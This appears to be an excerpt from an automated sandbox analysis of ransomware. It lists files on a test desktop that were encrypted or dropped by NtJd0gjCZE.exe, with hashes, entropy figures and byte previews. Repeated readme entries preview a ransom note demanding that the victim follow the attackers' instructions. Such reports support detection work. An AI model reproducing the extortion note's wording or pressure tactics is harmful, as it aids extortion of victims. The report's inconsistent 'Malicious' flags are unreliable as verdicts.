                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Desktop\EOWRVPQCCS.jpg
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.8461694629448395
                                                                                Encrypted:false
                                                                                SSDEEP:24:OfhPApmBvIwrs+Sp8LO3zsuoHiO2AIN2mKboEV6rTfu/Ann:OfhIwg+SqRH3FHoEVQTfu/Ann
                                                                                MD5:0591797F5016EDB79FD0CE5EF90E27D4
                                                                                SHA1:FB4FB4922BFA6E2CFDB180F4121232636FD133D9
                                                                                SHA-256:DCB3F7B726C22564C92A73251574C9D22AA10FC332C5031DA3F7A59FC36CE7F1
                                                                                SHA-512:F5BBBC397EA6D39C1BFA0FC009357FD8904B361BD00B148822D08FD13E72B51D89AA8FBBCD01CD5621D35DA85A295F9EA0826AA36D08E741FE21993FB4862D2C
                                                                                Malicious:false
                                                                                Preview: k....{I.i..%.h..p.i.1.M..n.q|L.+.z..`...n.;...3...=.....R.TW.......08#s6...|..c....p..@.Q...z.%.Xh..>.o}..f......V...8j.a..{-.A......H.......k.56}.t.c...u.1..r.[..>.x..z..s;.>.'..;0.Wv`.!..I.....f..).J..........6...u...2. ....*y+||.Z6.=..3.q...P..p..`w.AFn..........y..m..p..b..@<.F.G.......V.jo...>..u...q(...i%Ve..N.`\..i.A$.0.hN.-...W.C......?..D.A......S7..!<.a.(u..d.,s*..xN*D)......a.F=.6.|N...B....]........K.A.v.Y.bK...J....qy...Y.4>.....".Oc...&.5.P..x...y.......a...yzU*.u,3.h.Zs........\8F).n..n\Y...AS..R).9c..D..t....k...1...z....Ez.6....._at...~..=.ESv.F...Jo$...m|.q.y.../{..D..n.)...[X.>X.x..+..E.,...R.Q.(YW..B.S.FUky>o......i ..-.wR..C..".S...r..p.9.w...~.!\.....Js.-.f.pn...#...aP. {...(.K.@u....^q.......s.l....1.Hx....&;..) .....5MwN..t.A...w_..x.:..}.p\....R!..4.I..b..$+.Wd.<..d./......!....kH.:....>.4....g..........}Y...;K.]...wq......;...$+.i\b..a.vSu&.....p{...K........|.\.!..I...=....E...u.*..A....m..55a&.MT..c..R
                                                                                C:\Users\user\Desktop\EOWRVPQCCS.mp3
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.855376866135316
                                                                                Encrypted:false
                                                                                SSDEEP:24:AdgYlmTgVGyGxGLnCfGrMCaGhwRi3oVjLWAO/e1vrTfu/A65ch:4BXGfx+nCsMZGhdML/lTfu/Azh
                                                                                MD5:CD4B185064EB99EFB188EF6B52360D01
                                                                                SHA1:ABBE372EDE1A20FDCA780EC45641E5ACA8DE9DC0
                                                                                SHA-256:A1E4E5573F441C87D61389FD6A55B7BD794ADEFECD34512A8CF9783BA142B153
                                                                                SHA-512:01BE63912A07F58B44997675D6AF806BACCBD662EE1EE51E99048F7D8A0DB2140D9E27B6EAFD71D02B890A606C6A47B2342347C33589013C3270573998D8BC65
                                                                                Malicious:false
                                                                                Preview: m..Y.~K..!Y@z7..t.hQ..~&9.-...!5.j..^.....!.H.U...b.W.z.m..&b.y3..Pk....(.....T....W...0....>.....#.k.?a.r..........#.i';P..V.....m...Ro#....|...t.m.X...K.........w.V.'./I..8....VW.r.<...l.0.";a.[.f1bmg9..Z(...X\..M..IJ....8Zh..?......6..1.S..m.+........T...q/_..j..-kG.G...fa...5..1j .....*..."7.K.........*%a......\.R.s.%8Q.....n......~D....X..j.tY.X.`A.J..a..=....\H..S......O.(...g..$P.)...h1p...u6E.8Q.`.8......S|mZ.t....8o....O....F.O..1...._..nU.~.|9..h.....h......Yd..|f..0.Cs..<J...*..cRu..Ilyq?.]..S.D).6...?.<...ulk../.'^.R.x1O.R.0..0"....x..0v`..;.Q....\.... .\zt.h"..2".@@...A.y.\.6C........t...L.g._&.........<....F..e.'w..+..........'....y\...".;>.A..!2..mw......V.C..... .@.)..B5.[!G.\.oIT._.ji.i[..h.#:H%,..T(c........XR(.....bH...c.y.6...oe.S/N...vb..6.Ov.k.........Gg..../...F/0<..:....sG..|./...pDym...%.2.WO.d.........6......L.C>.?....4...41.,j..{$.T.r~...-y.J(..#.:.....]6=... ..N..>.J........ZI..C...Rbi..W...('.ku....P
                                                                                C:\Users\user\Desktop\EOWRVPQCCS.pdf
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.856333300016802
                                                                                Encrypted:false
                                                                                SSDEEP:24:hW/lTBJN6Jhlc1/LLsqOnKaqsxDRykvaFKNZMdrTfu/A+QG:hW/RBJN6iLLi3HSkvaoNZSTfu/A+h
                                                                                MD5:D332ACF914D3F97EC35AE1B6F97688B8
                                                                                SHA1:1C4728AE995A753ADF3D7BF3410A65869BB11C05
                                                                                SHA-256:ABBCBAAF78E24AF31094AC0AEC8A6AF22FB412DA47D4AD06E0F89531A2D22316
                                                                                SHA-512:EDAC5F29AB2AAEE221BFD55F2CA9653BF152A71707CBEC639A78CE76B774C1A7F0C7A02223F4A9694A3E0C37619CBADD2E8B33150EB22D8C376D29B0B081F289
                                                                                Malicious:false
                                                                                Preview: ......S............`.b.......3.u..+.....Y....H..-Z.>..&....r....E. i.]..".I..3%..b.F.tO.-5.K.;._OJ.8l(..l...d..\.........0..0}..e^..G...^;..TD..\.N.VdY.....w.G......................o.]r.5%..7k+.p=....s!.:.j:<$....h..#....k{*T.'.....V.g.9.9N..../g....L..k4y..6..[V..U...'......C.B....v].>..N......R..5.2c..*.mC&.....Z...|.X7.-!..Y}.w9_..x..18.@.~.T._T..H.........O.hu.L.!H.Z ...ohJ...d......j...7......!.f3.QgM.A...t.z8Go..rF.6....@....?...-.r..7..Rz..E.E.AW..9m.%!.N~..5.v.[\u.H...Q.1...d.>...o8u..Q4.~`R._.:. +..N[......q.n/*W<.O.D.~...u..(0.H...L. .....[.Z....aQ@A9.#. .7.. ..4q..h.g].~..if......+...n.na{..r4."._..2.#C..{*._.$,K....,.).9.i)....@.IH.jw.$'....?z..`..Rh...a....#..-..vV......:.`,. .6:..|.+..h.9........Q.g..ep^..Ela(.t.lP..T.h2.......Gh.jl{.<.&7.d.......K....V.{ .O...<+...cF$.!...#NG5!*)...t6.RG.k.ezb.!:..7.#"Y.1.........,.d.I.9..P...3z..*o.C...../....#Wj...K.....qO..@.+{.~t.Y......./......{...[....D"..-Fq.u......l"..H...3.Kn.AP.FR.
                                                                                C:\Users\user\Desktop\EWZCVGNOWT.png
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.831523886012405
                                                                                Encrypted:false
                                                                                SSDEEP:24:M86eu1fgqSaPS63rrcgS1g8a/A8A1zN/EOwuupvDJjj8ehlCT6liI4qrTfu/Abxh:DG1bSYS6EE5n2p/El/flCTuB4gTfu/AD
                                                                                MD5:76ADB1F9BDEA28C38F9D8003034FB49C
                                                                                SHA1:5C7847795B9BB813CE37AF2C6EDF06C16EA1D68A
                                                                                SHA-256:75215F550993047D1D78490A9F5A1310E0C1555C44DC6579B17C58E84B8FF5F2
                                                                                SHA-512:7F9AC55326318B760419FFCA7A300E5F333A31263F04E714F7EBBC1627F2DFE9EF385A8ED9E13289CDAE7728E2D4775767B66290ECE347680BB1FC4052C831DD
                                                                                Malicious:true
                                                                                Preview: N.....)..H...A...|d/>A.9U...V....(........)....f.%)....S.2..V..3.s/Bt.=.._..........P....6..p....SU........<..3...N.J@..V.hD.H.E`..T...iG...~*B......F..1......j./.^.........+><..5'.j....".L.v..U.........@.{.9....(Qr.D4......Db...u.P.9B...o~.b.'.._}f........H........S.c.EWOo..<{/.&..nf..`<.L....au.g.y.d.#...c.CV...h....>|...6/.....\.@.A..1._c.g.!:.S..U...I..M!.#..I.\..p.`......S..j........L.fS.....D......w).@..s~T..Ge...:$...].....X..7`Ee.^.X!.E!.s.)...rNO2....&..W.".....{.7.!.$....VnI(.e...9.V...n..........z....Q....B.........BT..4.B..Ts...p.S.}....9.].d.;=.A,.R... T[s....$>M..?..Ma.W......e6T..\..n...n.......IO.c.....'.o..l..i..7....e..\9D....y..:$...y.).....-.yx..U..tRu......e......vN,.xu.iD,.X!...V....RO..\....cG .....`.......\....nt...~.[...'..L..<B.[kd..G.nXs.s..F3.~.*......nIc...bh.....~.../...(..%^.........q+rN\.nT.m...7.AjW<|~....;Cz...y.,.......T..u.U...w.Ks...6.N.))k..a|.......h.B01..BV...5.h.....s..g.j]l~$*$..
                                                                                C:\Users\user\Desktop\Excel 2016.lnk
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):2888
                                                                                Entropy (8bit):7.930079557170873
                                                                                Encrypted:false
                                                                                SSDEEP:48:gI63SncgZfg5qgfF+JmLXUepkKFjfboLPsDaVC+fQQAMxTfu/A+aJ:p63ec355ckbjqKiC+fQ3CuYZ
                                                                                MD5:D302214C93F28F046D8EAE0632CABA91
                                                                                SHA1:D020325C96825C91F9D98D761F2F9F0BF92DC937
                                                                                SHA-256:E44102A4C360B2A6D7B27F1BA1ED7C50A75518FA0BBA92EF7ED5A0AF281C2F13
                                                                                SHA-512:ECBB99E40458EF579BC0C631372FA0D46B49ABAC1E9F63D7FA644ACECB2742AB7B83F51E1258F74385DB40D74009AA7D5249F6AB5DB3F8691DCB2981FACD7EA8
                                                                                Malicious:false
                                                                                Preview: ..6BO1mj.........m.l.....-.?.....?.......3......pf.._5..(OR'..M.pD.Fm....I...t.Tl..z...o....E.z.....V.B.m$M:....3...c...u.............WZ...+..6K%. ...8|O..J..=au......?.......^..`.7d..Rp ..c...F.y8.....k.V.....O..Z0U).J.W.I,...Y.....k...u.P..T...+.D.W.{zE...G:;bPR..3a............i..j&.|..kv..\...#3.j.k..L..).f......,.......O(..F......o.Q......C%....<.NT\/7_B.5[^.l..C...*.YP...j.m|.ylQ.....OP.....k..C..,.#j.J....Y.=\RNy.b.....1.....W...b.u]..-.E.J.D}B..H.....H,.-.]'.$.y....A.OBtf}...Oi..*.Z.]y....*.J .8c.........#Z.d~.h..f..<.3!.o.].Z..iG-..."H../..<*|....)...g.L....j......f..V.....]J....2...km@.oC........[.)..ng.z..F.....e.i.......B.(.~.uj...&R....O.s0....d:...XN9....].^g.....-.O.`7.....r*....F..".7.J...0..B...;].....&r......~jD....m..jh .R...<I.C'._.{H.(.^......T......fr..QC.O........o..L.....#..J....o..0.D5g`..:].xG>......u.(.8Y.......b....K..E9....H^w..&e$.._f...R.ix..a.V....`.=b.W.X.........~.f......4....6..E..h%4.n.}..B).V*rU!
                                                                                C:\Users\user\Desktop\GIGIYTFFYT.jpg
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.869967780342922
                                                                                Encrypted:false
                                                                                SSDEEP:24:jmVZ57AXtfyBaRY9wV03XfXXThiH/LiqNd0R/RtX2CrTfu/AbqL55x:jCArcXfXXThELHUZD2oTfu/AI/x
                                                                                MD5:7B5541C19226D464DCD3F0B301AED2D2
                                                                                SHA1:B02BECBC1153C284A49215EB088306F65BE4F633
                                                                                SHA-256:FC434137F7044FD412A4D2D07E4E079272298BA7481D7737D287C24F2B8DF9B0
                                                                                SHA-512:7E829A59165569C78D89631106C1375203DD471EB6DCAFA159D998D618A9FDD46774C9E1A3949708C8061750EC34FE93D7A185AF95D583D5AEE8A137F6C71268
                                                                                Malicious:false
                                                                                Preview: ....Y3&..HQ<^....;.+O.GIf.(.l?...L...V...x{.+...)@..I..t...T..0d.c.N.#j..!..C.(.s.4..v..._.3.Sy....R.K$=0.sD.I.}......-ob..............U...q..gaOs...<.@9.f7.1...TXm...7....`..4`ok&n...i.2....c..\.+..}....m.....|-o*Rq._...q\I.8...-.+..Q....(.,M...z..,..:O.8G.L.$.+/.A....xN..dEy..`S..U........8(...&....~D?.y..M..MR.#.8...Q.....Fm..<..g.@l:.K..q....4..8.dX...z[....Ne[|.V.&5....p..Z...UO....2.V..*...uH+-p@.R.H.H}..,.{...v.).\.K)EE@.+yHx.-Bd....i.&a.Ve..g.y~.bW.s.jB..c..O-.)U3.FP_"....M0....t.5.....9.(_y.Ek....!.n.....Fe.(.3.k...i.w....n_..#.72.9...%+.Ma*....$.5$..r..=....N;...)....'.?-./...(.M.......Q....jk....a.$......d...3..<.o.@.....glp..W-..Vf..n..\.j....W..^.d.....a.....o..K..F.u......`...7.X.m_.E..k...*"j.;s..h.6....%8J8.}..e..X.<...n..+.]P.i..g....;..@es....|..C.T..i.t....].....mK.z....K.....@l....U.......R...c.TJ.x....n._u.0Fm..........R<I[o.u..s..... /...4.i9...T0..$....yh{.'.QP.eT{..0......1jw...)....=`.L.6pOA.Re..:H.......(..X.
                                                                                C:\Users\user\Desktop\GIGIYTFFYT\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Desktop\GRXZDKKVDB.jpg
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.828048835176386
                                                                                Encrypted:false
                                                                                SSDEEP:24:U1HpDr9b/+prt99UH0LkqSHJse/fD6X/2ahBoQFbrTfu/AjI2:4JdbA5gUYqkrnmXuYvTfu/AjL
                                                                                MD5:94DF246BEDAEFCCD6C699828D5BD78EB
                                                                                SHA1:62A84A3356B8FB95A06F4997F3DBB01A289164D8
                                                                                SHA-256:32BD1C850C8028BF30E78220BC43487F99C98B4F1FDAD4196B34AA92918B6A5C
                                                                                SHA-512:7BDDA6875E027285DBBEB797BA69AE25994F260CF3D90F6F1567202A39606CD1800AC4D0719D1BB47B82BE35639759799A3D137361E53B5FED7C06278386DD49
                                                                                Malicious:false
                                                                                Preview: ...a.....s.?sF.z.,..bO........l..o..+.^.=...\3.(....K[.bd...Pk..,9..9y.....jb.S/.,P..(N.yT..".4...iz..OJ.@.^s....1...)a=.;..".[.2...7..WF...;.-. ..._.~....D....F....njB...`...O.K_.......o.....~.<n...Q.u...(.&.B..;R_...1ziE4.!._N..?.}..2.2.L!T<&. .6?..H.KS...wXE>E..W~...+..Q.K>.....>D.X.v.7..[.ZL-...?..)D=..>&..:1.dGZ....'Y.g........._..*..u.<X\...J.of.Y3W....47;.6.}.(..2X.S^...}9g+..c....s..zL.......H...L.1x..........\..g.......4Z#.wx.2X.~6...YCN-.(.z..Bf..J....8....G8..+..AG...0...]_...K..}l........$*.v..(..{..=.1x2.@...M..%'n].I.....F...&.jy...;.D.g..B.&.!. ~.|/29....oF.l..R.m..R.S.wSR.7....-..j..:.C.N...Cni..MQZ...6.k-q....`L...,.~u.+?..z`.*.9*`q....6f&.=DM??h6.p.. .....I.N.............A..h.y..jV..-....%w.yW.I......{I.c=..}...~.7.K..!..P...A..x..T.....T..K8.....+?....k.`..$.....P*..E.u.P...6...(.E.P..L.7......f.x.<...4\..Mm..-`.=.^.x.4o...]...1/...g....Z.=.E..O.x.4....N..l&.GX.Iq.l..*.6.+0..G......jX...:..N..#C.g2i|..D..Fku.w.^
                                                                                C:\Users\user\Desktop\GRXZDKKVDB.xlsx
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:PGP\011Secret Key -
                                                                                Category:dropped
                                                                                Size (bytes):1254
                                                                                Entropy (8bit):7.821242564970302
                                                                                Encrypted:false
                                                                                SSDEEP:24:+ijjJi3SDHZ+dMspgv2BL2ZalK1u0PegjlbedrTfu/AFI:+ijjPHcdDpw2BLTIPdjElTfu/AW
                                                                                MD5:375BB47376D0EBC0D797B3DDF58F3A9C
                                                                                SHA1:717BFC7C8866A0B738284441EA662016C5C360FE
                                                                                SHA-256:B975DD22F2D784611D86BED15DE614B67D0B6C71102A3B8DD13EA06A174E662A
                                                                                SHA-512:AAAC1C43C2B7163260BD537D7ACDBD75CEEB0DA7F4765D58F5396FC4B646B4BFA559BC032B3EE7CDA3FF57160A4970825A8227B4AA414E122B2B28FDACE8D847
                                                                                Malicious:false
                                                                                Preview: ..3p..c.F.b6.|..V'.....icb.zW....._...i.@#...F:J.....'....<.y..R.F..R.:....v..m@.o.B.......M.....wn...=K.[.n..w9d..y%.g..S..Z.^=.2...f....{5t$.w..f:\E.....(n..p..;4.q_h...fk.p..|..........D..P......b...p.7...g.|.t...h....L......:1N...w...-#W....<..X.&..d.~.E...y.$+G.'dl...b....s..z..4.b.k..~p.;..mI.'<..s....ku)H..S...b(Y...Di..C.....,z......%~2...Cl.pE..m..6X....T(^#sR.....:.q.}..7[..(C.Y..]U...t...@.0........Y...h....yQ0.....iM=.Q=@c...2.hD^F....Xl...NB.......:ATW..CX..I..1..RQ...4.8..)?.A..l....^.[R....fwl..@e.T2L._.....w.lk.~.b._.\Vz.$.[q.u}...Z...p....c.}1...(....:.E.Fz.7...0.].,.j.q.....dkE.Q .e...Y6..a.E..+.w28....|.d&\. s.#.....R.d..6...p.B.A.d..I..I.m.1d...>;.EB.......<.^E.X.w....k..R.....r..a.a&[rZ^W.N.l..F..T.....,g1...8.$T.Ch.%.R......ym.......1..>.>.7..|j...uE..._.>..2..m.P..B..)\D.,}.m.YQf...CZk..$-i{.(...^..0.dr!.......s...=......C.,4...a.\...D.[...^.A.C...Y.....P...'FB...M.r.R.l. ...t.g...3.F.H}.7E.....=.... .s.o....~u.
                                                                                C:\Users\user\Desktop\GRXZDKKVDB\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Desktop\LIJDSFKJZG\37g7mqh9-readme.txt
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):6692
                                                                                Entropy (8bit):3.853794758755214
                                                                                Encrypted:false
                                                                                SSDEEP:96:GLsiNsgxXBxU3TPJ9wJ6c21Wp33sc8W3kRCqXyCEwE/KOdZ5d9PrR5u:GLsZ3jTht1O3s2BgyCEwE/KOdZxDW
                                                                                MD5:038815B71507D6AD40B9A8C77FFA2D01
                                                                                SHA1:1FD96B3FFBC708749FA16E68763BB9A063F4B7B0
                                                                                SHA-256:4B03F85729E30576270E08FC39EB9EDA875984309D11025539DF7A18F26A02AC
                                                                                SHA-512:0E6CCE40EB5E8EFF14017076C73E9D6BAD327C0D5116CD77CA52E2CB2B5B457E8FD4C6FD27049547F1019D043F46F8F1DEBAA03DE57C97550AFE0AA8CEB8A19D
                                                                                Malicious:false
                                                                                Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.+.]. .W.h.a.t.s. .H.a.p.p.e.n.?. .[.+.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u. .c.o.m.p.u.t.e.r. .h.a.s. .e.x.p.a.n.s.i.o.n. .3.7.g.7.m.q.h.9.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.
                                                                                C:\Users\user\Desktop\Microsoft Edge.lnk
                                                                                Process:C:\Users\user\Desktop\NtJd0gjCZE.exe
                                                                                File Type:data
                                                                                Category:dropped
                                                                                Size (bytes):1645
                                                                                Entropy (8bit):7.902505485570585
                                                                                Encrypted:false
                                                                                SSDEEP:48:3OBjY6SnnX4mi2ryPFBD9+QsQWOVsTfu/AKu:eBjYFnX42rv5uYT
                                                                                MD5:BC24CB0F77F25DED16EE4CA0DC9B0A7D
                                                                                SHA1:65E8318B265A9787EBD29D8C1C1C040C13F56FBF
                                                                                SHA-256:1E41A4184B8710F24A61DC1FA04EC2CA75CF5FBBDB240F7EC9C77BF26A52A029
                                                                                SHA-512:E8DA073C515249CA60F1871BF834E8C2287EBFD16961E03326136F9505FEC1C2799D08DDE76F9CA1A7D9CACAD0361F0BD83445EE4C3FD5AB0F5CC790FAB5046F
                                                                                Malicious:false
                                                                                Preview: ..[i).h...I2(S.0n..D......J....b..............YNs.cV~..q.0..<..~:.).Y3K,......q...../.k....1.W..)....v.U.sy}.O..3...Wzn.h#..\:..=.MO.*...k..0..I.c..}....:.J.%......+.y.U.....M.d.CI.T1.r....7W...H..k.C.......F.N,yD79....l1...w..:+.B..y6.[....<...........? N....FlP.,ag....'K.6...0..['u......`m6O..T...am]......Ew...w)U.R.2....P.vh....:l...v....$.'..f.]Ja/k.....9g..7$....]..B..E..). ...f.v.Q.EP.Z......8..%Cv..l.YO....G..t.!+.=8i..6U_..&....O\k...w..w......c>......R...b.{.H..FP..Bn.f'/....i.>.l...E...U(fK.MBGS..F...pEt*Y...|...R../........t.X.&...!Fu.@..zV.YHw....:8..+..Equ.:x(.<^...../....{..wq.....a.....T....`.'i...W:......N.Jq.}u.......-.A2..c..j.dG.J`...X.B..L%....+f.K.".......TF...3.J.O T....tC$..Y..jA....@y..@.c..\".l...g.YQ:^{GW.....:....."I......C..p...iO@......d....X.....5..7......N...cH..'o(~.0..Q.a..(ZD.&.{.dI.>.[..F..X.u.f.4.....<.(Qz...A. .p.d..e...]..:H......P.J.....~...P'..(Li.....=.?..._.._.@TV%1.5=Y...h..^....$...!.h.g.|
